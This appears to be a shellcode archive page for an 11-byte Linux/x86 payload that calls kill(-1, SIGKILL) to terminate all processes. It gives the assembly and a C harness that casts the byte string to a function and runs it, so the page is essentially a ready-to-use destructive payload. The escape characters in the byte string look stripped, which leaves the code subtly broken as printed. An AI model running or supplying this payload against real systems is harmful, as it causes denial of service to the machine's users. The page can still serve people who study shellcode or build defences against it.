[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 kill all processes 11 bytes
# Published : 2007-03-09
# Author : Kris Katterjohn
# Previous Title : linux/x86 /sbin/iptables -F 40 bytes
# Next Title : solaris/sparc download and execute 278 bytes


/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all processes for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *      push byte 37
 *      pop eax
 *      push byte -1
 *      pop ebx
 *      push byte 9
 *      pop ecx
 *      int 0x80
 */

main()
{
       char shellcode[] = "x6ax25x58x6axffx5bx6ax09x59xcdx80";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2007-03-09]